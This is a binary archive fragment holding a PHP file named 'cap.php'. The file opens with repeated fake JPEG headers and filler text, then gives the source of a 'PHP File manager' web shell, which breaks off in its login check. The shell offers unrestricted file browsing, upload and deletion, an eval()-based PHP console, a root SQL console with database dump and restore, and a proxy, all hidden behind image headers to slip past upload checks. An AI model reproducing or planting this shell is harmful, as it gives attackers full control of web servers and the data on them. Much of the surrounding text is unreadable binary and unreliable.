OJ?(JihFra(GYuGROm0<Ds4&%VOViU1Ӧ] Y<żQy.k¨3ϕ犧R)Ӏg79RKvLCq,yJ70NhBSNbj*J-5z&Wܐ`,8,gs`c0&er@.U.fl6ߎۛ@VOh[(hj嬼ɄeyS(d`V)ǰTXPwj \|M,.ԛ;.NjT,[zzNbBǖ%7'>vFf;vpX_N;l78ӎoo96Ϟ(/f#%tȆý	zވ=/-bS:+A]#B@1^珞ȍ[Qu>g%CVC Twr'̉]+jNK[ZxV:@g<y2Y+b0Y)R6r<qi1Rgϭ,(G{Jl>z˩ڸHx'`Cx{Jw^Gl7k=?Sn?z-X òiHxyxy4!YgU@d"kCzܨF7O)EхzߩQy *p1Uڼ?UwxyY(4cզ7,d-ij,*b((\_z.Uq+jOizi^~i2Fc]!	:)s_rwźUSFFc6h
@+6|F7j(IQ=.9ɲ$xB)O\M[ոF`0&qJpvGج$93\ϴsf̶[K$٘m${`'m=N;zߟNhwS!S
mZSFjaKj[+n8l;vt(&i-1:`]6G9d	OMGVl;\w2גVsRhyiƭSD;M[iML}Rq
76WXo5:ءjW.wԱ=U&
d1)2ܭiˮSwii{6JiUS2b3D\yk/츱)AhQ$⍧V^%;=?^_θvw/4.ao*'w$ 0|h/ȅwiSa9~ũzBzVUn%m+^%˞'[= ͺ@W"I^g?;XUb#<D#p:&@[ԯ~B$a>~p;}(|5W]L%Q㏇C\$X&N&s}[%(F<#u^~"N,x-P$@9S;Z!B8*CF$j	CWCg"EY&w͡ڌ8ƵMx?SeiTè%Na*t#(G)v\~`DPs-BM#15O^LO
,}I^Ɵ
iNRѸӛTsUf%(*A'
[h ;YAUDXJ1[+'9Z HDt[Bg/#%FIt3h<2Dhcy.ߊ`GgΈVhͿCw7X '|z߸6t%ͲX,8~?p
  @K!ڗ[FZKx
=,)ԏ8X*)N(Z{ΉQN
3i3,):-5K(-hO(fG==~4lRKwt zo`;]b%}%B*hc(}%fyYb$`Imo5-W9$n@9XN\m/pؑz\=%QVL^}eywnmql5{SJd_
kvm|77(8$\Q`E|KL!Jb0-9킮Q<4I7vL"*?L7Fu1p	*0{pH?@S* I#
2C.<)ӛ>u2;pNƩ}}!/́HĒwGNSPC
TԮ38CCY
6M7u1}a
M/wbԻw\dq}oh!z55`Fdа>7v(zF9f<r?>ohH o[G'YG"D"d"m_ꌙ.wEs`n,Gd  1G Ho"7E!Q.MSE_mN噾27P	H轎$vPIJ_(ڗMƺ؛V6HRKK(F3w>?oPD6`q%LQw/qd2G~$f3<z\~.G:VW lSB`.j,>emRq`VCr?<fL0& ˽&ᘘ264'>M
f#x_+a")@@9v0F\Q<z`#hܝ*P}(>ׄB mWR?2f0Mܑ0,h!Pe~$
ZXrF$fȉL~KfdlDL7\΀[󣸣4!0ྯ5:V7Db4|$"K4p8Ό&T{Erl/N택ć䇆(>#瀅@ehP3=dǂ)sD;sX'X̃
ӗh9pi-]u/S=Z;xr^^߁Z	~M.g~F%+o$9(/+R(`LD8/g0$Y]nPx%\k]
0"_1:ִ^:镴;Leyҙzbjh^D@6]"{0oH#}0'p`"|r85h-.\=ΈjzCk1W0rru<xf}piq%eO-Дem G3娤 Н$*h۞.,A?9	<\N]:"Clz;qnTPjIphu0Ka0 XȲO uϗ8YV#&#TK_?(,EW!t+r6fCքMf	DBxMYkNucLI`w8ٜD(W.WĮ`zpZmp[of?=*W,l|3Fk!(h{SOI6-wcÝ!PN94°
)>0uH'$- Dyb<.U \~E0X8q<fY#u-^/抠m{J{J
tzUz[QFڎm3S@i_KC
W;ۋW$ԍ.o$L'X5Qe|g8zUY0^+Kaݠ+$yvӒpYlQd8H .Xvj	Lnݕ!)t:&J@ޓo =:C~ )\_kʗhWM]ڤ#ӊ.VIlO]Ip>T}tG?zvS Q~sj {]@G*ꎷEZ^9",hIY3o. &7㐒qqqUQ/E'J-=c{	еY>Ǻi`:.{'Hui\sqaVve:>tGt_3Yx_-.FNT *	llN3￻$Fnխ	3	COF'/}L[KB(t88Uc`Qe`S|b;nXI!;)KvI^D9~omZBM0]{5oF#_)tWPGKrD]?{݀lwm(A"u簾9:ס\AZ<gVhb4A2eIҴK|qo9-'˛,<m2ZYPoߔrcT2c|ߺ0PHz+]JUOtRT` >|` vhC@`AѧOwätYw@x=>517hap(@Z~!>6ŏ݁&&3{ޜWOLV9u{ C[,3&c׹fyUp `L੆ފ`r8{F^1̔+M,N.g>>34>g?Νzٹev}am,63a%Dө1 rrtO,c6!HV@MC˰3j$M猿B-ǀnq?IFid-Eu܌lhe.ΑN$>:^x+矯
CN1#W̆?dhxI;wxKOhu*g*Hr;XrOlp94Դ,C#TWEH 
%ؚ`ܟus[xR.H-7AxeIC&=\"[	{\]-Zi+C26+{-[Z}UHkC30`p؈^A-	1mF}}FP*\`u	1D4|PdY!Yq)-"k~HC ^+<ZSUƗGQ2q?eBŏP 7%=>PzCgVXK6_85;%=%4&3p2i6IJmk"FrlJ0g'2M)Ss
=C!%ۨP/qFjF6'e"\ŇM]m.^wpݭ˅~lJ:_Bs j@ut	SXwdϩߠ86hTj@.(~yYKH=PK)`Nq߻eoa25̖SM=+5?qh+X6@9藈Ss=US#|0׷|ǐT;&qQ;:W\LrTT<Ik%bC]D/wG;&PyYnQS	\	`ԱgGk}]A/wr:7UUuXρ)2co!Oa:㍹XȴENl+,֩`\v<'L2VfD9@-OV9i]U(E5r?.ޫpD_qSۏ Y=ߏ@6pVq4C}Q$|󫪦8kK)J62$02.XSnȝttG"P6_LgMvN~D'=ec-i@6jhC,;z`LPqO~ƄLnZM"Yz폑b0P^ԇH}i\!)!-9&8T&,,`ԧN`x3O!em{{
H+-W8DGMD((wc@}БЩD2c@F7hrRk3㓋+$֜AvY+.IbXJ	8u=r_@k1N]crF08}s0\7`?3РP:>)F?uvbRV`287Ȩ؆wkQ2^#75 =FKëOLOx)WX߽FWO.C ^)VP4Y_%~(
*
~#vRƹ9{yG]5K;_pv얚Uۥ` 溈]qMeN݌rf틤{F^Z\G,xo˷1IdU	I3kr]_$z>`m`U%#i:at
#gPӘSJ{#<	aDi̍vɇ1
v7jzDwR*c"
+ѴC}?a>,¤l6sy޹]LVUϯxn;6ڹlt|Ky;$cˋ+[SƤ}U`mE*IMָ))@.\C)(L+p$ z3H-˞?dEmAna⬂1nUf0J[O$?xE^X 9`ȫc줌R\p?҈N%>JGPN2C~wlcNY"u۔T7&Wӛ ѣH4R;?< [kڽz	zk.$Gowf7󁞋˲U,VS ~Ro'0?So `]& @@/duCnwy8ZZj(bs7\)X,s?u+ L@KlA0CEÆ@w+/6}	Xa#!R((ɛQmܘjԿ_=qxf. kTx˳AyWGL
s f,;Xt//"::u@oNCNȩ9gtHѦb;BؐH#	5*VG	`Y"#QG"FHhw؏ @sY`pkAU(ϡcCTQrb{~~-AA4Q	w<010eʫ(q6m@]?XtaTTT<i΀
#VwWT7O \"hLB~p!{xR0z/Tm\"5ɞxN	Cb؄dHj>(ovhfI,>294c_/B_vbua2sQrZmt}Gxìcj.	$YVͫ*/5̰ɩ~#)ޚb]R>Qs}i	"wK/xbW1t|.!>lWnc~1fuT=ۘQ_"\D7Z5j3VboޗtQҤN5/f7z:X;M@/%h~ū,/	W=	LC6j"ljsb(߃Flo\nJ8y5j2()gt :wE'/҉;3I[9(N2vm¿'sD^H<x)+yl5,+k~k	BX*
hJ!$(BlBt%*`E Ut{dd.|&jc5e8g(e2&#XZ"|u t|^jLS@,9+|wֱ>[dZ#訖d^ 0 NvФy3NVt=? ZU<ǊyĳcLt=B?bY0O1S9si\k+ʶ|s@=V!S8l4R&0  ,ɍ3[BHl:!_Fb19O_
,0ыÑ;^;eWCݜO+K^Φ'3U=Y=+!ehR4dg`5Xb|x
k{o~CwRʭcaj!Ԟ΃T[;ȍxBcu02t0@q'&~o8fY0tL!)\@k.)amZ)\xu}$;k2C4=Z ȹO8]H@U7AONu.
(3HRGkE*"[YU^c0YX+HvѤ#9O d@1=b.}$$Om4k ~/֡;w{;F8fc*9XQcu*|`Mp5݇MӖR؆awBQUP܅k} u|tb}v!Ûy
iLP8:OhأoZ4UP4##|pd[t;^|#G  U$YS.^!EW}uFuw$Ag8kQ&5p3fabHv\Npu|N\jAtMUtrz}6@=1VlL#ïÁ[xg4SF4ReP5Z!$k#<x?^6kȤ93Z꯫&h%4%
FU]~,/d '}/F;FL_&R +IǺk/<k橩sfi[jnκn[wUTmm2mJtcWĶ>Ά>Hx}tCGee2)B*Cr
dB0%%EWEǡC%uq`J|^Vx}
ZD"{n,B1{W
MlY|Kz)Y.:yg
ʋȃOCE^GGTb!8xr7,',/q+47Qd"-cAEQk)#g.6jOĄX<sCaVÌ$23#IF`@uKZ!fU4^{fWq0V1kEg!.U$J]:eW tJL[EH߽.O3?@|.C=*`QPE2<Nbp,6\8;lfX͂b<20!=d&Jr!	Q?|*n7E6Vlma\=?e&M).xpZ̵paAqX>W&40fC ƭH"uFԘj,__-"+D>=
X؉meE(jjE	f6c7M)y같51aE kVA:c2! `tErL.**x3+XrOPu<p=V't +=WU/Ϡh(p!Uz/CH5ƆtkAnޫC<efqp,nPciBm=b.Yxe!ѩ|rۜρԄ]$.O4FhrLw{>杇ߣ| 8Dzܻ}"6_m!RGtL&xp+^ŮQE3PgfX`TGs6͗ƥ"s P?ub{=F|h%	kM;o;0waէw>=}Ѝ'{ V{@{TJk}pyAiEfqm1SO> vwNVL}!5}Zbk^NܭqI4ΞX?Ϸo?~|/ \  PK     |\tF3)9 )9   cap.phpnu [        ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
